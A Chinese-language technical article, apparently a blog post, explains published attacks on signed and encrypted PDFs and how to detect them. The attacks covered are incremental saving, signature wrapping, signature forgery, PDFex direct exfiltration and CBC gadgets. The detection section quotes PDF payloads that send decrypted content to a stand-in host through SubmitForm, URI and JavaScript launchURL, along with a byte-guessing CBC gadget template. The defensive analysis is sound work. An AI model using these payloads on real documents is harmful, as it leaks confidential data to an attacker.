早前,在2019年3月初,来自明斯特大学及波鸿鲁尔大学的德国研究人员称,他们已经设法利用新发现的漏洞,并成功地攻破了PDF文件中的数字签名。
随后,2019年10月再次披露: 加密PDF存在PDFex漏洞。
最后,于2019年12月27号,在36届C3混沌黑客大会上进行了攻破PDF签名
和攻破PDF加密
两个议题的分享。
那么,这次闹得沸沸扬扬的PDF安全事件,到底是怎么一回事儿呢?下面容我细细道来。
一、PDF的现状
随着网络的发展,PDF的使用也越发的频繁。据2015年统计,互联网上存在约16亿份PDF文件,同时据Adobe官方称,仅在2017年,他们就大约处理了80亿个数字签名的PDF文件。
那么大家是否在生活中也经常见到,一些企业公司开出的PDF电子发票呢?
包括亚马逊等电商企业,实际上也是使用的PDF电子发票。而这些发票的背后,都是有着数字签名的保护。很显然,带有数字签名的PDF文件在许多国家和地区都是具有法律效力的!
而另一方面,一些银行等企业,慢慢开始使用加密PDF来作为加密电子邮件的替代品。一些政府机构同样允许使用加密、带签名的PDF来进行身份认证,包括美国等国家。
可见,签名、加密PDF在我们身边具有广泛的应用!
二、签名PDF的攻破
1、PDF文件结构
首先,简单地介绍一下PDF格式,如下图:
每个PDF文件都由四个主要部分构成的,分别是文件头、文件体、Xref交叉引用表以及文件尾追踪器:
1.文件头:标注了PDF的版本
2.文件体:显示用户看到的PDF正文内容
3.交叉引用表:列出主体内的对象及显示内容位置的目录
4.文件尾:PDF阅读器阅读文档的第一步,它包含了两个重要参数,告诉PDF阅读器应该从哪里开始处理文件,以及交叉引用表的地址。
PDF规范还有一个增量更新功能,允许用户标记部分文本并留下评论。本质上,数字签名也是一种增量更新,即向文件中添加另一个元素和相应的部分。
下面我们来看看,如何通过相关手段,修改一个数字签名的PDF文件,且修改后仍然“签名有效”!
2、增量保存攻击ISA
这是一种很基础、简单的攻击,由于PDF支持增量更新,因此攻击者可向文件增量添加内容以达到目的。如下图:
实验者先后通过:
1.直接向文本编辑器中的PDF中增量添加内容 准确来说,该操作并非攻击利用,而只是一个常规的增量更新,一些阅读器打开文件时会提示说签名有效,但文件内容被修改
,而一些阅读器甚至连这种提示都不会有。因此一些没有经验的用户,很有可能就会被成功欺骗。
2.增量添加内容后,并删除PDF文件的最后两部分
3.增量添加内容后,并删除PDF文件的交叉引用表
4.增量添加内容后,删除PDF文件的最后两部分,再把原数字签名复制到末尾
以上四种方式,前后成功骗过了包括Foxit、MasterPDF等50%的PDF阅读器。
3、签名包装攻击SWA
对文件签名,说白了就是将两个重要的签名字段增量更新到文件体中,即包含签名内容的/Contents
字段和描述签名相关参数的/ByteRange
字段。
而/ByteRange
字段有四个参数,分别是:
1.文件的起点
2.数字签名前的字节数
3.数字签名结束的字节位置
4.数字签名后的字节数
具体可参见下图左:
我们知道,电子签名是给指定内容进行签名,因此用于存储签名本身的存储区域无法被进行签名计算。
因此实验者试图去调大/ByteRange
字段的第三个参数值,这样,文件就出现了一个额外的区域(上图右的红色区域),能够放置任何内容。
当然理论上说,如果PDF阅读器“工作正常”,那么用户是无法看到这个额外区域的内容的。然而实验发现77%的阅读器却都能看的这个区域的内容。
4、通用签名伪造USF
如上图,实验发现:
1.签名字段/Contents
及签名参数字段/ByteRange
就算被删除,依然有部分阅读器验证通过了签名。
2./Contents
和/ByteRange
字段,就算值改为空、null、0x00、其他值,同样依旧有PDF阅读器认可其文件签名。
综上,签名是完全可以进行伪造、修改的。
5、影响范围
以下是上面三种攻击,相关PDF阅读器的受影响情况。显然,只有Adobe Reader 9没有受到相关影响,然而搞笑的是,Adobe Reader 9只有Linux用户因为缺少更新的可用版本才会不得已地使用到它!
6、针对签名PDF攻击的检测
- ISA攻击的检测 观察图中ISA攻击的三种方式可以看出,和正常PDF文件结构相比,均不是以
Xref Table
+Trailer
结尾。即%%EOF
结尾符的上面没有trailer
和xref
字符串,而直接就是obj
+endobj
形式的文件体。* SWA攻击的检测 同样我们观察图中SWA的攻击,可以看出,和正常PDF文件相比,会出现至少两个/ByteRange
!这是很显然的一个异常点。* USF攻击的检测 我们知道,一个签名后的PDF文件,必然会存在一个TransformMethod/DocMDP
,它用于检测文档相对于最原始签名字段的修改。 因此如果存在上述字符串,但/Contents
和/ByteRange
字段却存在个别或两个都不存在的情况,则有可能是USF攻击。此外,如果/Contents
、/ByteRange
字段值为空、null、0x00,也有可能是USF攻击。三、加密PDF的攻破
==========
针对目前慢慢走向大众化的加密PDF,其机密性是否就真的牢不可破呢?
答案是否定的!事实上,确实存在着:无需密码就能读取加密PDF文件内容的方法,这就是PDFex,一个利用PDF标准规范的安全漏洞来达到攻破加密的目的。
当然这里需要重点强调的是:该攻击,并不是说攻击者可以利用该攻击来获得或绕过密码,而是在受害者打开该文档时,使内容泄漏给远程攻击者。
那么,这个PDFex攻击到底是怎样一个东西呢?
首先,请允许我感叹一下:历史总是惊人地相似!
2018年,爆出《PGP与S/MIME两种邮件加密协议存在的重大安全漏洞,致使加密邮件形同裸奔》,而该漏洞的攻击方式存在两种:
- 直接泄出:首先攻击者截取到邮件后,重新包装一封新邮件,而将老邮件作为新邮件的内容。受害者接收并解密后成功后,再利用IMG标签的src属性,将解密后的明文发送到攻击者的服务器上。
- CBC/CFB小工具攻击:利用CBC加密模式的可扩展特性(即解密时不会检查密文完整性),同时邮件客户端也没有进行邮件的完整性验证,因此攻击者可以修改捕获的密文,替换邮件中的已知明文为payload,最后将邮件泄出。
而本次要说的这个PDFex,同样存在两种类似的攻击方式:
- 不触碰密码学范畴,但只适用于部分加密的直接渗透攻击;
- 利用CBC加密模式的可扩展特性的CBC小工具攻击。
1、直接渗透攻击
由于标准文件规范是支持部分加密的,即允许仅PDF文件体的正文等进行部分加密,而PDF文件尾、交叉引用表等其他PDF结构对象,则保留未加密状态。因此,对明文密文混杂的支持,就给了攻击者有机可乘的机会。
具体我们看下图:
上图是一个PDF文件结构图(把一个PDF文件拖到notepad++里面的大概样子),其中只有PDF正文(4 0 obj
)和其中嵌入文件(5 0 obj
)被进行了加密,而其他定义PDF文档结构的对象则保持未加密状态。
因此,攻击者添加了图上两处红色payload:
- 第一段红色payload 使用了PDF规范中的OpenAciton函数,该函数用于触发PDF打开动作,即当PDF被打开时会立马触发,随即调用7 0 obj,也就是我们的第二段payload;* 第二段红色payload 没有给出具体的payload代码,
{URI/SubmitForm/JS}
的含义可理解为:可通过超链接(URI)、表单提交(SubmitForm)和JavaScript三种方式,将4 0 obj
和5 0 obj
发送给攻击者服务器,即存在着多种渗透通道。PDF规范支持URI/SubmitForm/JS这三种交互方式,不过具体的PDF阅读器(规范实现者)可能有些不支持表单提交,而有些限制JavaScript的支持,甚至默认情况下禁用了JavaScript。
2、CBC小工具攻击
由于PDF加密是采用的AES算法,以及密码块链接(CBC)加密模式,而不会对密文进行完整性检查,因此可被攻击者修改利用。
攻击者会使用CBC小工具将PDF文档中存在的部分明文更改为一段payload,当合法用户打开文件时,嵌入的payload将会得到执行,从而将文档发送到攻击者指定的站点。
3、影响范围
实验者对常用的27种PDF阅读器做了相关测试,无论是哪个平台的PDF阅读器,两种攻击方式中总有一种能攻破,甚至绝大部分阅读器两种攻击方法都适用。
4、针对加密PDF攻击的检测
直接渗透攻击的检测
从上面的攻击利用得知,攻击者必须会在文件打开前,使用一个OpenAction函数,进行第一步的打开触发操作。
因此第一个特点就在于:PDF的第一个结构对象(即从1 0 obj到endobj
区间内),必然存在一个OpenAction函数!
接着会通过三种渗透通道中的其中一种进行数据外传:
- 使用Form表单外传的payload:
1 0 obj<< /Type /Catalog /Pages 2 0 R /AcroForm << /Fields [5 0 R] >> % Removed "6 0 R" here to get a normal/unsuspicious cursor /OpenAction 7 0 R>>endobj7 0 obj<< /Type /Action /S /SubmitForm /F << /Type /FileSpec /F /http#3A#2F#2Fp.df#2Fexfiltration#2F /V true /FS /URL >> /Flags 4 % SubmitFDF=0, SubmitHTML=4, SubmitXML=32, SubmitPDF=256>>endobj
显然存在SubmitForm
提交关键词、/http#3A#2F#2Fp.df#2Fexfiltration#2F
URL地址等敏感字符串!* 使用超链接外传的payload:1 0 obj<< /Type /Catalog /Pages 2 0 R /URI << /Base /http#3A#2F#2Fp.df#2Fexfiltration#2F >> /ViewerPreferences << /DisplayDocTitle true >> /OpenAction 7 0 R>>endobj
会在第一个结构对象中定义形如/http#3A#2F#2Fp.df#2Fexfiltration#2F
的URL,随后会在7 0 obj
中去拿该URL进行跳转。* 使用JavaScript外传的payload:7 0 obj<< /Type /Action /S /JavaScript /JS /app.launchURL#28#22http#3A#2F#2Fp.df#2Fexfiltration#2F#22#2Bthis.getAnnots#28#29#5B0#5D.contents#29>>endobj
研究过多个不同阅读器的相应payload,有些是先使用OpenAcion函数触发,随后触发相关JS。有些是直接通过stream流把JS代码包装到第一个结构对象中。 但是万变不离其宗地均会使用以下代码:* 使用app.launchURL("URI")
或SOAP.request({cURL:"URI",oRequest:{},cAction:""})
代码来加载URL* 使用this.getAnnots()[0].contents
或util.stringFromStream(this.getDataObjectContents("x.txt",true),"utf-8")
代码来获取正文内容最后再进行URL组装,外传到攻击者服务器。### CBC小工具攻击的检测
发现攻击者在使用CBC小工具进行payload写入时,由于对最后一个字节值的不确定,会使用256个可能的值(0x00到0xFF)来进行一一试探。payload如下:
1 0 obj<< /Type /Catalog/AcroForm << /Fields [<< /T (x) /V 2 0 R >>] >> /OpenAction [3 0 R 4 0 R ... 259 0 R] >>
endobj
2 0 obj
[encrypted data]
endobj
3 0 obj<< /S /SubmitForm /F <CBC gadget as form URL ⊕ 0x00> >> // guessing last byte
endobj
4 0 obj<< /S /SubmitForm /F <CBC gadget as form URL ⊕ 0x01> >> // guessing last byte
endobj
...
258 0 obj<< /S /SubmitForm /F <CBC gadget as form URL ⊕ 0xFF> >> // guessing last byte
因此会存在至少256个SubmitForm或超链接等提交,同时第一个结构对象中,OpenAction函数会对应去调用这256个obj引用!
最后,这个事件也给我们大家敲响了警钟:
- 有时标准规范的出发点是好的,但同样也许会给个别有心者创造机会;
- 没有完整性检验的加密算法,需要考虑场景再进行慎重选择;
- 攻击不一定就只是针对协议、规范、服务、技术等高大上的玩意儿,利用一些客户端的偏门漏洞一样没毛病,甚至障眼法又如何,只要最终达到了目的;
- 针对窃密类的攻击,总是需要渗透通道这一先决条件,如何扼杀或控制这一通道,是我们需要考虑研究的一个议题。